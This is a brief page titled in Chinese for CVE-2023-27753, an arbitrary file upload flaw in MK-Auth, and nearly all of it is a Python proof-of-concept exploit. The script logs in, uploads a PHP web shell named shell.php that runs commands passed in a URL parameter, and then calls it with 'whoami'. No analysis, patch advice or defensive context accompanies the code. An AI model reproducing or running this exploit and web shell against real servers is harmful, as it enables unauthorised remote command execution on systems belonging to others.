CVE-2023-27753 MK-Auth任意文件上传漏洞

import requests # Target configuration target_url = "http://target-ip/mk-auth" login_url = f"{target_url}/index.php" upload_url = f"{target_url}/upload_endpoint" shell_url = f"{target_url}/uploads/shell.php" # Attacker credentials username = "attacker" password = "password" # 1. Login to get session session = requests.Session() payload = { "usuario": username, "senha": password } response = session.post(login_url, data=payload) if "dashboard" not in response.text: print("Login failed") exit() # 2. Upload malicious PHP file # PHP code to execute system command (e.g., 'whoami') php_code = "<?php system($_GET['cmd']); ?>" files = { 'file': ('shell.php', php_code, 'application/octet-stream') } upload_response = session.post(upload_url, files=files) if upload_response.status_code == 200: print("File uploaded successfully") # 3. Execute the code cmd = "whoami" exploit_response = session.get(f"{shell_url}?cmd={cmd}") print(f"Command output: {exploit_response.text}") else: print("Upload failed")